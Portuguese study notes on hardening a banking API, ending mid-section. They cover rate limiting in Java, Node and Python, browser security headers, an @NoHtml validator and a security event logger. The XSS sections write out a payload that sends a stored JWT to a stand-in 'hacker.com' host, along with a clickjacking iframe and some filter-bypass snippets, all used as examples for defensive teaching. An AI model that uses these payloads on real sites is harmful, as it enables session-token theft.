(o algoritmo em si) (biblioteca) (pacote npm) (pacote pip)
Filtro/middleware que OncePerRequestFilter Express middleware FastAPI middleware
intercepta cada request (classe Java) (funcao JS) (funcao Python)
Armazenar buckets ConcurrentHashMap Map() do JS dict do Python
em memoria (thread-safe) (single-thread) (asyncio-safe)
Armazenar buckets Redis + bucket4j-redis Redis + ioredis Redis + aioredis
distribuido (producao)
Categorizar endpoints if (path.startsWith) if (req.path.match) if path.startswith
por tipo de limite
Identificar por IP request.getRemoteAddr req.ip request.client.host
+ X-Forwarded-For + X-Forwarded-For (Express pega auto) + X-Forwarded-For
Identificar por usuario SecurityContextHolder req.user.email request.state.user
(JWT autenticado) .getAuthentication() (do auth middleware) ["email"]
Headers X-RateLimit-* response.addHeader() res.set('X-Rate...') response.headers[]
(informar estado ao cliente)
Resposta 429 com JSON HttpServletResponse res.status(429).json JSONResponse(429)
padronizado .setStatus(429)
Configuracao externalizavel application.yml + .env + config file .env + settings.py
(sem recompilar) @ConfigProperties
Rate limiting em 3 linguagens
@Component
public class RateLimitingFilter extends OncePerRequestFilter {
private final Map<String, Bucket> buckets = new ConcurrentHashMap<>();
@Override
protected void doFilterInternal(request, response, filterChain) {
// 1. Categorizar endpoint
String path = request.getRequestURI();
EndpointCategory category = categorizeEndpoint(path, request.getMethod());
if (category == NONE) { filterChain.doFilter(request, response); return; }
// 2. Identificar quem (IP ou email)
String key = resolveKey(category, request);
// 3. Buscar ou criar bucket
Bucket bucket = buckets.computeIfAbsent(key, k -> createBucket(category));
// 4. Tentar consumir 1 token
ConsumptionProbe probe = bucket.tryConsumeAndReturnRemaining(1);
// 5. Headers
response.addHeader("X-RateLimit-Remaining",
String.valueOf(probe.getRemainingTokens()));
if (probe.isConsumed()) {
filterChain.doFilter(request, response); // continua ✅
} else {
response.setStatus(429); // bloqueado ❌
response.getWriter().write(errorJson);
}
}
}
const { RateLimiterMemory } = require('rate-limiter-flexible');
// Criar limitadores por categoria
const authLimiter = new RateLimiterMemory({ points: 5, duration: 60 });
const queryLimiter = new RateLimiterMemory({ points: 60, duration: 60 });
const transactionLimiter = new RateLimiterMemory({ points: 30, duration: 60 });
function rateLimitMiddleware(req, res, next) {
// 1. Categorizar endpoint
let limiter, key;
if (req.path.startsWith('/api/v1/auth/')) {
limiter = authLimiter;
key = req.ip; // por IP
} else if (req.path.startsWith('/api/v1/transactions') &&
['POST','PUT'].includes(req.method)) {
limiter = transactionLimiter;
key = req.user?.email || req.ip; // por usuario
} else {
limiter = queryLimiter;
key = req.user?.email || req.ip;
}
// 2. Tentar consumir
limiter.consume(key, 1)
.then((result) => {
res.set('X-RateLimit-Remaining', result.remainingPoints);
next(); // continua ✅
})
.catch((rejection) => {
res.set('X-RateLimit-Retry-After-Seconds',
Math.ceil(rejection.msBeforeNext / 1000));
res.status(429).json({
status: 429,
message: `Limite excedido. Tente em ${retryAfter}s.`
}); // bloqueado ❌
});
}
app.use(rateLimitMiddleware);
from limits import parse
from limits.storage import MemoryStorage
from limits.strategies import MovingWindowRateLimiter
storage = MemoryStorage()
limiter = MovingWindowRateLimiter(storage)
auth_limit = parse("5/minute")
query_limit = parse("60/minute")
transaction_limit = parse("30/minute")
@app.middleware("http")
async def rate_limit_middleware(request: Request, call_next):
path = request.url.path
method = request.method
# 1. Categorizar endpoint
if path.startswith("/api/v1/auth/"):
limit = auth_limit
key = request.client.host # por IP
elif path.startswith("/api/v1/transactions") and method in ("POST", "PUT"):
limit = transaction_limit
key = getattr(request.state, "user", {}).get("email", request.client.host)
elif path.startswith("/api/"):
limit = query_limit
key = getattr(request.state, "user", {}).get("email", request.client.host)
else:
return await call_next(request) # sem limite
# 2. Tentar consumir
if limiter.hit(limit, key):
response = await call_next(request) # continua ✅
remaining = limiter.get_window_stats(limit, key).remaining
response.headers["X-RateLimit-Remaining"] = str(remaining)
return response
else:
return JSONResponse(
status_code=429,
content={"status": 429, "message": "Limite excedido."}
) # bloqueado ❌
O que e ESPECIFICO do Java/Spring
ESPECIFICO DO JAVA/SPRING O QUE RESOLVE COMO OUTRAS LINGUAGENS FAZEM
───────────────────────── ────────────── ────────────────────────────
Bucket4j (biblioteca) Implementacao do Node: rate-limiter-flexible
com API fluente de builder Token Bucket com Python: limits
Bandwidth, capacity, Go: golang.org/x/time/rate
refillGreedy
ConcurrentHashMap Armazenamento Node: Map() (single-thread,
(thread-safe por padrao) thread-safe dos nao precisa ConcurrentMap)
buckets Python: dict (asyncio-safe)
OncePerRequestFilter Garantia de 1x Node: middleware roda 1x
(classe abstrata) por request por padrao (nao precisa)
@ConfigurationProperties Ler configs do yml Node: process.env ou dotenv
+ classe tipada com binding automatico Python: pydantic Settings
em campos Java
ConsumptionProbe Objeto retornado pelo Node: result.remainingPoints
(classe do Bucket4j) tryConsume com tokens Python: window_stats.remaining
restantes e tempo refill
response.addHeader() Adicionar headers Node: res.set('header', val)
(HttpServletResponse) na resposta HTTP Python: response.headers[h]=v
computeIfAbsent() Get-or-create atomico Node: map.get(k) || create()
(ConcurrentHashMap) (thread-safe) Python: dict.setdefault(k,v)
addFilterAfter(filter, class) Posicionar filtro Node: ordem dos app.use()
(SecurityConfig) APOS outro na cadeia Python: ordem dos add_middleware()
O padrao universal de Rate Limiting em pseudocodigo
funcao middleware_rate_limit(request, proximo):
─────────────────────────────────────────────
// 1. Categorizar
se endpoint e swagger/actuator/docs:
proximo(request)
retorna
se endpoint comeca com "/auth":
limite = 5 por minuto
chave = ip_do_cliente(request)
senao se endpoint e POST/PUT em "/transactions":
limite = 30 por minuto
chave = email_do_usuario(request)
senao:
limite = 60 por minuto
chave = email_do_usuario(request)
// 2. Buscar ou criar balde
balde = baldes.buscar_ou_criar(chave, limite)
// 3. Tentar consumir
resultado = balde.consumir(1)
// 4. Responder
response.header("X-RateLimit-Remaining", resultado.restante)
se resultado.consumiu:
proximo(request) // ✅ pode continuar
senao:
response.header("X-RateLimit-Retry-After-Seconds",
resultado.segundos_para_proximo_token)
retornar_erro(429, "Limite excedido. Tente em Xs.")
// Este pseudocodigo descreve Java, Node, Python, Go, Rust...
// O algoritmo Token Bucket e o MESMO. A logica e a MESMA.
// So muda a biblioteca e a sintaxe.
Rate limiting e como o sistema de fichas de rodizio em qualquer restaurante do mundo. Nao importa se o restaurante e japones (Java), americano (Node) ou italiano (Python) — o sistema e o mesmo: voce recebe fichas, cada prato consome uma ficha, quando acabam voce espera o garcom trazer mais.
O que muda e a interface: no restaurante japones
as fichas sao de madeira (Bucket4j), no americano sao
de plastico (rate-limiter-flexible), no italiano sao
de papel (limits). Mas o conceito — "X fichas por periodo,
reabastecimento gradual" — e identico.
A maior diferenca entre Java e as outras linguagens aqui e a
thread-safety: Java precisa do ConcurrentHashMap
porque multiplas threads acessam o mapa simultaneamente. Node.js usa um
Map() simples porque e single-threaded (uma coisa de cada vez).
Python fica no meio — e async mas single-threaded, entao um dict
normal funciona com asyncio.
Passo 3.5 — Arquitetura das Protecoes Adicionais
Aprendido em 21/03/2026 — Fase 03 (Seguranca)O problema que este passo resolve
Ate o passo 3.4, o sistema ja tem autenticacao (JWT), autorizacao (roles), e rate limiting (controle de requests). Sao como a catraca, o cracha e o contador do predio. Porem, existem ataques que passam por tudo isso — o usuario esta autenticado, dentro do limite, mas envia dados maliciosos nos campos de texto, ou o navegador e enganado por outro site.
PROBLEMA 1 — XSS (Cross-Site Scripting)
────────────────────────────────────────
Um usuario autenticado envia no campo "holderName":
"<script>fetch('http://hacker.com/steal?token='+localStorage.jwt)</script>"
Se esse nome for salvo no banco e depois exibido no frontend SEM
sanitizacao, o navegador EXECUTA o script — roubando tokens JWT
de outros usuarios que visualizarem essa conta.
Sem protecao: o dado malicioso entra no banco normalmente.
Com @NoHtml: o dado e REJEITADO na entrada → 400 Bad Request.
PROBLEMA 2 — Ataques via navegador (clickjacking, MIME sniffing)
─────────────────────────────────────────────────────────────────
Um site malicioso pode:
- Colocar nossa API num <iframe> invisivel e enganar o usuario
para clicar em botoes (clickjacking)
- Forcar o navegador a interpretar JSON como HTML (MIME sniffing)
- Cachear respostas com dados sensiveis (tokens, saldos)
Sem headers: o navegador nao sabe que precisa se proteger.
Com headers: o navegador recebe instrucoes de seguranca e se protege.
PROBLEMA 3 — Falta de rastreabilidade em incidentes
───────────────────────────────────────────────────
Se alguem tenta fazer brute force no login, precisamos saber:
- DE ONDE veio o ataque? (IP)
- COM QUE ferramenta? (User-Agent)
- QUANDO? (timestamp)
- QUANTAS vezes? (contador)
Sem logs padronizados: informacoes espalhadas, dificil de filtrar.
Com SecurityEventLogger: todos os eventos no formato [SECURITY],
filtravel em ferramentas de monitoramento (Kibana, Grafana).
ANTES (passo 3.4): DEPOIS (passo 3.5):
────────────────── ──────────────────
Campos de texto aceitam qualquer coisa @NoHtml rejeita HTML em campos
holderName: "<script>alert(1)</script>" de texto (holderName, fullName)
→ salvo normalmente no banco ❌ → 400 Bad Request ✅
Resposta HTTP sem headers de seguranca Headers em TODA resposta:
(navegador nao sabe se proteger) X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Content-Security-Policy: ...
Cache-Control: no-store
Logs espalhados sem padrao Todos os eventos com prefixo:
log.warn("Login falhou: email...") [SECURITY] LOGIN_FAILED — ...
(dificil de filtrar) | IP: 192.168.1.100
| UA: Mozilla/5.0...
(filtravel com grep "[SECURITY]")
Os 4 arquivos criados/alterados e seus papeis
┌──────────────────────────────────────────────────────────────────────────┐ │ ARQUIVO │ PAPEL │ ANALOGIA │ ├───────────────────────────────────┼────────────────────┼────────────────┤ │ SecurityConfig.java │ INSTRUCOES AO │ Placa na porta│ │ (ATUALIZADO — .headers()) │ NAVEGADOR │ "proibido │ │ config/ │ Envia headers │ iframe, │ │ │ de seguranca │ proibido │ │ │ em toda resposta │ cache" │ ├───────────────────────────────────┼────────────────────┼────────────────┤ │ NoHtml.java + NoHtmlValidator │ DETECTOR DE │ O detector de │ │ (NOVOS) │ METAL na entrada │ metais que │ │ validation/ │ Rejeita HTML em │ bipa quando │ │ │ campos de texto │ passa algo │ │ │ (XSS prevention) │ perigoso │ ├───────────────────────────────────┼────────────────────┼────────────────┤ │ SecurityEventLogger.java │ O LIVRO DE │ O caderno do │ │ (NOVO) │ OCORRENCIAS │ porteiro com │ │ service/ │ Registra eventos │ hora, quem, │ │ │ com IP + UA + │ de onde veio, │ │ │ prefixo [SECURITY]│ o que fez │ ├───────────────────────────────────┼────────────────────┼────────────────┤ │ AuthService.java │ ATUALIZADO │ O porteiro │ │ (ATUALIZADO) │ Usa o logger │ agora anota │ │ service/ │ dedicado em todos │ TUDO no │ │ │ os eventos │ livro oficial │ ├───────────────────────────────────┼────────────────────┼────────────────┤ │ DTOs: CreateAccountRequest, │ ATUALIZADOS │ Formularios │ │ UpdateAccountRequest, │ Receberam @NoHtml │ com campo │ │ RegisterRequest │ nos campos de │ "nome" agora │ │ dto/ │ texto livre │ rejeitam HTML │ └──────────────────────────────────────────────────────────────────────────┘
Onde cada protecao atua na cadeia de filtros
Request HTTP
│
▼
┌─── CORS → CSRF → JwtFilter → RateLimitFilter → Authorization ──────┐
│ │
│ SECURITY HEADERS (protecao 1): │
│ Adicionados AUTOMATICAMENTE em TODA resposta pelo Spring Security. │
│ Nao sao filtros separados — sao configurados no SecurityConfig │
│ e o Spring adiciona os headers antes de enviar a resposta. │
│ │
└──────────────────────────────────────────────────────────────────────┘
│
▼
┌─── Controller ─────────────────────────────────────────────────────┐
│ │
│ @PostMapping │
│ public ResponseEntity create(@Valid @RequestBody CreateAccount...) │
│ ───── │
│ │ │
│ @VALID ACIONA O BEAN VALIDATION (protecao 2): │
│ 1. @NotBlank → campo preenchido? │
│ 2. @Size → tamanho correto? │
│ 3. @Pattern → formato correto? │
│ 4. @NoHtml → SEM tags HTML? ← NOVO (passo 3.5) │
│ │
│ Se qualquer validacao falhar → MethodArgumentNotValidException │
│ → GlobalExceptionHandler → 400 Bad Request (JSON) │
│ → O dado NUNCA chega ao Service │
└─────────────────────────────────────────────────────────────────────┘
│
▼
┌─── Service (AuthService) ──────────────────────────────────────────┐
│ │
│ SECURITY EVENT LOGGER (protecao 3): │
│ Em cada evento de seguranca, registra com IP + User-Agent: │
│ │
│ securityEventLogger.logLoginSuccess("riel@email.com"); │
│ → [SECURITY] LOGIN_SUCCESS — riel@email.com │
│ | IP: 192.168.1.100 | UA: Mozilla/5.0... │
│ │
│ securityEventLogger.logLoginFailed("riel@email.com", "motivo"); │
│ → [SECURITY] LOGIN_FAILED — riel@email.com | Motivo: ... │
│ | IP: 10.0.0.42 | UA: curl/7.88.1 │
└─────────────────────────────────────────────────────────────────────┘
Continuando a analogia do predio do PixHub:
Passos anteriores: instalamos crachas (JWT), catracas (JwtFilter), e contadores (RateLimit). O predio ja e bem protegido.
Passo 3.5 adiciona tres coisas:
1. Security Headers = placas de aviso coladas em todas as portas: "Proibido iframes" (X-Frame-Options), "Nao adivinhe o tipo do conteudo" (X-Content-Type-Options), "Nao guarde informacoes em cache" (Cache-Control). O visitante (navegador) le as placas e se comporta de acordo.
2. @NoHtml = detector de metais na entrada. Antes de qualquer formulario ser processado, o detector verifica se os campos contem "metais" (tags HTML, scripts). Se detectar, bipa e recusa a entrada — o dado nem chega ao escritorio (Service).
3. SecurityEventLogger = livro de ocorrencias oficial do predio. Cada evento (entrada, tentativa frustrada, bloqueio) e registrado com hora, nome, IP e descricao. Se houver um incidente, o gerente de seguranca abre o livro e sabe exatamente o que aconteceu.
Security Headers — Instrucoes de Seguranca ao Navegador
Aprendido em 21/03/2026 — Fase 03 (Seguranca)O que sao Security Headers?
Sao headers HTTP que o servidor envia junto com cada resposta. O navegador le esses headers e ativa protecoes automaticamente. Sao como instrucoes de seguranca — o servidor diz ao navegador: "nao faca isso, nao permita aquilo, bloqueie tal coisa".
Sem esses headers, o navegador usa seus comportamentos padrao — que nem sempre sao seguros. Por exemplo, por padrao o navegador tenta "adivinhar" o tipo do conteudo (MIME sniffing), o que pode ser explorado.
Os 5 headers que configuramos
O QUE FAZ:
Impede o navegador de "adivinhar" o tipo do conteudo.
O ATAQUE (sem o header):
1. A API retorna JSON: {"name": "<script>alert('xss')</script>"}
2. O header Content-Type nao e enviado (ou esta errado)
3. O navegador "adivinha": "Hmm, parece HTML... vou renderizar!"
4. O <script> e EXECUTADO → XSS!
COM O HEADER:
O navegador le: "X-Content-Type-Options: nosniff"
→ "O servidor disse para NAO adivinhar. Se diz que e JSON, e JSON."
→ Mesmo sem Content-Type, o navegador NAO tenta renderizar como HTML.
CONFIGURACAO NO SPRING:
.headers(headers -> headers
.contentTypeOptions(cto -> {}) // Spring ja aplica "nosniff"
)
O QUE FAZ:
Impede que a API seja carregada dentro de um <iframe>.
O ATAQUE (clickjacking — sem o header):
1. Atacante cria site-malicioso.com
2. Coloca nossa API num <iframe> INVISIVEL sobre um botao "Ganhe um premio!"
3. Usuario clica no "premio", mas na verdade esta clicando
num botao da API (ex: "Confirmar transferencia")
4. A request vai com o JWT do usuario → operacao executada!
<iframe src="http://api.pixhub.com/transfer?to=hacker&amount=1000"
style="opacity: 0; position: absolute;"></iframe>
<button style="position: absolute; top: 0;">Ganhe R$ 100!</button>
COM O HEADER:
O navegador le: "X-Frame-Options: DENY"
→ "O servidor disse que NAO pode ser colocado em iframe. Bloqueado."
→ O iframe nao carrega nada → ataque falha.
OPCOES:
DENY: NINGUEM pode colocar em iframe (mais seguro — API REST)
SAMEORIGIN: so a MESMA origem pode (util para apps com iframes proprios)
CONFIGURACAO NO SPRING:
.frameOptions(frame -> frame.deny())
O QUE FAZ:
Impede que respostas sejam cacheadas pelo navegador ou proxies.
O RISCO (sem o header):
1. Riel faz GET /api/v1/accounts → resposta com saldo de R$ 5.000
2. O navegador (ou um proxy) CACHEIA a resposta
3. Riel sai da maquina sem fazer logout
4. Outra pessoa abre o navegador → a pagina carrega do CACHE
5. Outra pessoa ve o saldo de R$ 5.000 sem estar autenticada!
Pior cenario: tokens JWT cacheados em proxies corporativos.
COM O HEADER:
O navegador le: "no-cache, no-store, must-revalidate"
→ no-cache: sempre valide com o servidor antes de usar cache
→ no-store: NAO guarde nada em cache (nem em disco)
→ must-revalidate: se o cache expirou, NAO use sem revalidar
→ Dados sensiveis NUNCA ficam guardados no navegador/proxy.
CONFIGURACAO NO SPRING:
.cacheControl(cache -> {}) // Spring aplica tudo automaticamente
O QUE FAZ:
DESABILITA o filtro XSS embutido de navegadores antigos.
POR QUE DESABILITAR?
Parece contraintuitivo — "desabilitar protecao XSS?!"
O motivo e que o filtro XSS do Chrome (lancado em 2009) tinha BUGS:
- Podia ser explorado para CAUSAR XSS (ironia!)
- Falsos positivos bloqueavam conteudo legitimo
- O Chrome removeu o filtro em 2019 (versao 78)
O filtro antigo tentava detectar XSS na URL e bloquear:
http://site.com/search?q=<script>alert(1)</script>
Mas atacantes conseguiam manipular o filtro para REMOVER
partes legitimas do HTML, criando uma vulnerabilidade nova.
A PROTECAO MODERNA:
Em vez do filtro antigo, usamos Content-Security-Policy (abaixo).
CSP e muito mais poderoso e nao tem os bugs do filtro antigo.
CONFIGURACAO NO SPRING:
.xssProtection(xss -> xss.disable()) // 0 = desligado
O QUE FAZ:
Diz ao navegador EXATAMENTE quais recursos podem ser carregados.
E a protecao mais poderosa contra XSS moderno.
COMO FUNCIONA:
CSP e uma "lista branca" do que o navegador pode carregar:
default-src 'none' → NAO carregue NADA por padrao
frame-ancestors 'none' → NAO permita ser colocado em iframe
(reforco do X-Frame-Options)
Para uma API REST que so retorna JSON, isso e PERFEITO:
- Nao ha scripts para carregar
- Nao ha estilos para aplicar
- Nao ha imagens para renderizar
- Nao ha iframes para aninhar
→ Se alguem injetar <script src="...">, o navegador BLOQUEIA.
O PODER DO CSP:
Mesmo que um XSS consiga injetar um <script> no HTML,
o navegador verifica o CSP: "O servidor disse default-src 'none'.
Esse script nao esta na lista branca. NAO VOU EXECUTAR."
CSP e como uma lista de compras: so entra no carrinho o que esta
na lista. Se alguem tentar colocar algo extra, e rejeitado.
CONFIGURACAO NO SPRING:
.contentSecurityPolicy(csp ->
csp.policyDirectives("default-src 'none'; frame-ancestors 'none'")
)
Visualizando os headers na pratica
ANTES (passo 3.4) — resposta sem headers de seguranca:
─────────────────
HTTP/1.1 200 OK
Content-Type: application/json
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 59
[{"holderName": "Riel Santos", ...}]
DEPOIS (passo 3.5) — resposta COM headers de seguranca:
──────────────────
HTTP/1.1 200 OK
Content-Type: application/json
X-RateLimit-Limit: 60
X-RateLimit-Remaining: 59
X-Content-Type-Options: nosniff ← NAO adivinhe o tipo
X-Frame-Options: DENY ← NAO coloque em iframe
Cache-Control: no-cache, no-store, ← NAO guarde em cache
max-age=0, must-revalidate
Content-Security-Policy: default-src 'none';← NAO carregue recursos
frame-ancestors 'none'
[{"holderName": "Riel Santos", ...}]
Os headers nao mudam o conteudo — mudam o COMPORTAMENTO do navegador.
Security headers sao como placas de instrucoes coladas nas portas de cada sala do predio:
X-Content-Type-Options = "Nao tente adivinhar o que tem dentro da caixa. Se a etiqueta diz 'JSON', trate como JSON."
X-Frame-Options = "Esta sala nao pode ser vista atraves de janelas de outros predios (iframes)."
Cache-Control = "Nao tire fotos desta sala. As informacoes aqui sao confidenciais e mudam a cada visita."
CSP = "Nesta sala, nenhum objeto externo e permitido. Nao traga pacotes (scripts), decoracoes (estilos) ou quadros (iframes) de fora. So o que ja esta aqui (JSON) e autorizado."
XSS e a Annotation @NoHtml — Protecao na Entrada
Aprendido em 21/03/2026 — Fase 03 (Seguranca)O que e XSS (Cross-Site Scripting)?
XSS e um ataque onde o atacante injeta codigo malicioso (geralmente JavaScript) em campos de texto de uma aplicacao. Se esse codigo for salvo no banco e depois exibido no frontend sem tratamento, o navegador de outros usuarios executa o script — podendo roubar tokens, cookies, ou redirecionar para sites falsos.
CENARIO: Atacante cria uma conta bancaria com nome malicioso.
PASSO 1 — Atacante envia request:
POST /api/v1/accounts
{
"holderName": "<script>fetch('http://hacker.com/steal?t='+localStorage.jwt)</script>",
"holderDocument": "12345678901",
...
}
PASSO 2 — SEM PROTECAO, o nome e salvo no banco como texto normal.
PASSO 3 — Outro usuario (admin) abre a lista de contas no frontend:
GET /api/v1/accounts
→ [{ "holderName": "<script>fetch('http://hacker.com/...')</script>", ... }]
PASSO 4 — O frontend renderiza o nome sem escapar:
<div>{account.holderName}</div>
→ O navegador interpreta como HTML e EXECUTA o script!
PASSO 5 — O script roda no navegador do admin:
→ fetch('http://hacker.com/steal?t=eyJhbGciOiJIUzI1NiJ9...')
→ O token JWT do ADMIN e enviado para o hacker
→ Hacker tem acesso total ao sistema como admin!
TIPOS DE XSS:
Stored XSS: Salvo no banco → afeta todos que visualizarem (MAIS PERIGOSO)
Reflected XSS: Enviado na URL → afeta quem clicar no link
DOM XSS: Manipulacao do DOM pelo JavaScript do frontend
Nossa estrategia: REJEITAR, nao sanitizar
Existem duas estrategias para lidar com HTML em campos de texto:
ESTRATEGIA 1 — SANITIZAR (remover tags):
─────────────────────────────────────────
Input: "<script>alert('xss')</script>Riel Santos"
Output: "Riel Santos" (tags removidas)
Problemas:
- Pode alterar dados legitimos: "2 < 3" → "2 3" (perdeu o sinal)
- Bypass: atacantes conhecem dezenas de formas de escapar sanitizacao
Ex: <ScRiPt>, <img src=x onerror=...>, <svg/onload=...>
- Falsa sensacao de seguranca
ESTRATEGIA 2 — REJEITAR (nosso caso):
──────────────────────────────────────
Input: "<script>alert('xss')</script>Riel Santos"
Output: 400 Bad Request — "holderName: O campo nao pode conter HTML ou scripts"
Vantagens:
- Seguro: dado malicioso NUNCA chega ao banco
- Simples: nao precisa se preocupar com bypass de sanitizacao
- Claro: o erro diz exatamente o que esta errado
- Adequado para APIs bancarias: nenhum campo precisa de HTML
(holderName e um nome, nao um post de blog)
QUANDO SANITIZAR FAZ SENTIDO:
Em campos que PRECISAM de formatacao (editor de texto rico, CMS,
blog). Nesses casos, usar bibliotecas como OWASP Java HTML Sanitizer
que permitem tags seguras (<b>, <i>) e removem perigosas (<script>).
No PixHub, nenhum campo precisa de HTML — rejeitar e a melhor opcao.
A annotation @NoHtml — como funciona
ARQUIVO 1 — NoHtml.java (a annotation):
─────────────────────────────────────────
@Constraint(validatedBy = NoHtmlValidator.class) ← conecta ao validador
@Target(ElementType.FIELD) ← so em campos
@Retention(RetentionPolicy.RUNTIME) ← disponivel em runtime
public @interface NoHtml {
String message() default "O campo nao pode conter HTML ou scripts";
Class<?>[] groups() default {}; ← obrigatorio (Bean Validation)
Class<? extends Payload>[] payload() default {};
}
A annotation em si NAO tem logica — ela e so uma "etiqueta".
A logica esta no NoHtmlValidator.
ARQUIVO 2 — NoHtmlValidator.java (a logica):
─────────────────────────────────────────────
public class NoHtmlValidator implements ConstraintValidator<NoHtml, String> {
// Regex que detecta padroes de HTML/XSS:
private static final Pattern HTML_PATTERN = Pattern.compile(
"<[^>]+>" // Tags: <script>, <img>, </div>
+ "|\\bon\\w+\\s*=" // Event handlers: onclick=, onerror=
+ "|javascript\\s*:" // URLs: javascript:alert(1)
+ "|&(lt|gt|amp|...);" // Entidades HTML codificadas
Pattern.CASE_INSENSITIVE // <SCRIPT> = <script> = <ScRiPt>
);
@Override
public boolean isValid(String value, ConstraintValidatorContext ctx) {
if (value == null || value.isEmpty()) return true; // @NotBlank cuida
return !HTML_PATTERN.matcher(value).find(); // encontrou HTML? INVALIDO
}
}
PADRAO EXEMPLO DETECTADO?
────── ─────── ──────────
Tags HTML <script>alert(1)</script> ✅ SIM
<img src=x onerror=...> ✅ SIM
<a href="http://hacker.com"> ✅ SIM
<div style="..."> ✅ SIM
Event handlers onclick="..." ✅ SIM
onerror="..." ✅ SIM
onload="..." ✅ SIM
JavaScript URLs javascript:alert(1) ✅ SIM
JAVASCRIPT:fetch(...) ✅ SIM (case insensitive)
Entidades HTML <script> ✅ SIM (bypass attempt)
<script> ✅ SIM (numeric entities)
Texto normal Riel Santos ❌ NAO (nome valido)
Maria da Silva ❌ NAO (nome valido)
O'Brien ❌ NAO (apostrofo OK)
José García ❌ NAO (acentos OK)
Como aplicamos nos DTOs
// CreateAccountRequest.java:
@NotBlank(message = "Nome do titular e obrigatorio")
@Size(min = 2, max = 120)
@NoHtml ← NOVO: rejeita HTML
private String holderName;
// UpdateAccountRequest.java:
@Size(min = 2, max = 120)
@NoHtml ← NOVO: rejeita HTML
private String holderName;
// RegisterRequest.java:
@NotBlank(message = "Nome completo e obrigatorio")
@Size(min = 2, max = 120)
@NoHtml ← NOVO: rejeita HTML
private String fullName;
────────────────────────────────────────────────────────
Por que so nesses 3 campos?
Porque sao os unicos campos de TEXTO LIVRE — o usuario digita o
que quiser. Os outros campos sao ESTRUTURADOS:
- email: validado por @Email (formato fixo)
- password: nunca exibido no frontend (hash no banco)
- holderDocument: validado por @Pattern (so digitos)
- bankCode: validado por @Pattern (so digitos)
- branch/accountNumber: @Size restrito
- refreshToken: string JWT (formato fixo)
Campos estruturados nao precisam de @NoHtml — o formato ja impede XSS.
REQUEST:
POST /api/v1/accounts
{
"holderName": "<script>alert('xss')</script>",
"holderDocument": "12345678901",
"bankCode": "00000000",
"branch": "0001",
"accountNumber": "123456",
"accountType": "CHECKING"
}
PROCESSAMENTO (cadeia de validacao):
1. @NotBlank → OK (campo preenchido)
2. @Size(min=2, max=120) → OK (36 caracteres)
3. @NoHtml → FALHOU! Regex detectou "<script>...</script>"
→ MethodArgumentNotValidException lancada
→ GlobalExceptionHandler captura
RESPOSTA:
HTTP/1.1 400 Bad Request
{
"timestamp": "2026-03-21T15:00:00",
"status": 400,
"error": "Bad Request",
"message": "holderName: O campo nao pode conter HTML ou scripts",
"path": "/api/v1/accounts"
}
O dado NUNCA chegou ao AccountService. NUNCA tocou o banco.
Protecao na ENTRADA e a mais segura — bloqueia antes de qualquer processamento.
XSS e como alguem escrevendo uma instrucao maliciosa num formulario de cadastro: em vez de escrever seu nome, escreve "quando o gerente ler isso, transfira R$ 1000 para minha conta". Se o gerente (navegador) lesse sem pensar, executaria a instrucao.
A @NoHtml e o detector de metais na entrada: antes de aceitar o formulario, verifica se contem algo perigoso. Se encontrar, recusa e diz: "Preencha novamente sem instrucoes suspeitas." O formulario nunca chega ao gerente.
Escolhemos rejeitar (nao aceitar o formulario) em vez de sanitizar (riscar as partes perigosas) porque numa API bancaria, nenhum campo PRECISA de formatacao HTML. Se alguem esta mandando HTML num campo "nome", ou e erro ou e ataque — em ambos os casos, rejeitar e a resposta certa.
SecurityEventLogger — O Livro de Ocorrencias
Aprendido em 21/03/2026 — Fase 03 (Seguranca)Por que um logger dedicado para seguranca?
Antes do passo 3.5, os eventos de seguranca eram registrados com
log.warn() e log.info() espalhados pelo AuthService.
Funcionava, mas tinha problemas:
ANTES (logs espalhados):
────────────────────────
WARN c.r.p.s.AuthService — Login falhou: email nao encontrado — riel@email.com
WARN c.r.p.s.AuthService — Login falhou para ana@email.com: tentativa 3/5
WARN c.r.p.s.AuthService — Usuario BLOQUEADO por excesso de tentativas: ana@email.com
Problemas:
❌ Nao tem IP (de onde veio o ataque?)
❌ Nao tem User-Agent (curl? navegador? bot?)
❌ Formato inconsistente (cada log tem formato diferente)
❌ Dificil de filtrar (como achar SO eventos de seguranca?)
DEPOIS (SecurityEventLogger):
─────────────────────────────
WARN c.r.p.s.SecurityEventLogger — [SECURITY] LOGIN_FAILED — Email: riel@email.com
| Motivo: email nao encontrado | IP: 192.168.1.100 | UA: curl/7.88.1
WARN c.r.p.s.SecurityEventLogger — [SECURITY] LOGIN_FAILED — Email: ana@email.com
| Motivo: senha incorreta — tentativa 3/5 | IP: 10.0.0.42 | UA: Mozilla/5.0...
WARN c.r.p.s.SecurityEventLogger — [SECURITY] ACCOUNT_LOCKED — Usuario bloqueado:
ana@email.com | Tentativas: 5 | IP: 10.0.0.42 | UA: Mozilla/5.0...
Vantagens:
✅ IP e User-Agent em TODOS os eventos
✅ Prefixo [SECURITY] filtravel (grep, Kibana, Grafana)
✅ Formato PADRONIZADO (tipo de evento, detalhes, contexto)
✅ Centralizado (um lugar para manter, nao espalhado pelo codigo)
Todos os tipos de eventos registrados
EVENTO LOG LEVEL QUANDO ACONTECE EXEMPLO
────── ───────── ─────────────── ───────
LOGIN_SUCCESS INFO Login bem-sucedido [SECURITY] LOGIN_SUCCESS
(credenciais OK) — riel@email.com
| IP: 192.168.1.100
LOGIN_FAILED WARN Credenciais invalidas [SECURITY] LOGIN_FAILED
(email nao existe ou — ana@email.com
senha errada) | Motivo: senha incorreta
— tentativa 2/5
ACCOUNT_LOCKED WARN 5 tentativas falhas [SECURITY] ACCOUNT_LOCKED
→ conta bloqueada — ana@email.com
(possivel brute force) | Tentativas: 5
ACCOUNT_UNLOCKED INFO Bloqueio expirou [SECURITY] ACCOUNT_UNLOCKED
(30 min passaram) — ana@email.com
→ desbloqueio automatico
REGISTRATION INFO Novo usuario criado [SECURITY] REGISTRATION
— novo@email.com
TOKEN_REFRESH INFO Tokens renovados [SECURITY] TOKEN_REFRESH
com sucesso — riel@email.com
TOKEN_REFRESH_FAILED WARN Tentativa de refresh [SECURITY] TOKEN_REFRESH_FAILED
com token invalido | Motivo: token invalido
(possivel token roubado) ou tipo errado
────────────────────────────────────────────────────────────────────
Por que WARN para falhas e INFO para sucessos?
- INFO: operacao normal, esperada (login OK, registro OK)
- WARN: algo suspeito, merece atencao (falha de login, bloqueio)
- ERROR: nao usado aqui (reservado para bugs reais)
A equipe de operacoes configura alertas por nivel:
- WARN repetido do mesmo IP → alerta de possivel brute force
- ACCOUNT_LOCKED frequente → alerta de ataque em andamento
Como o logger pega o IP e User-Agent
PROBLEMA:
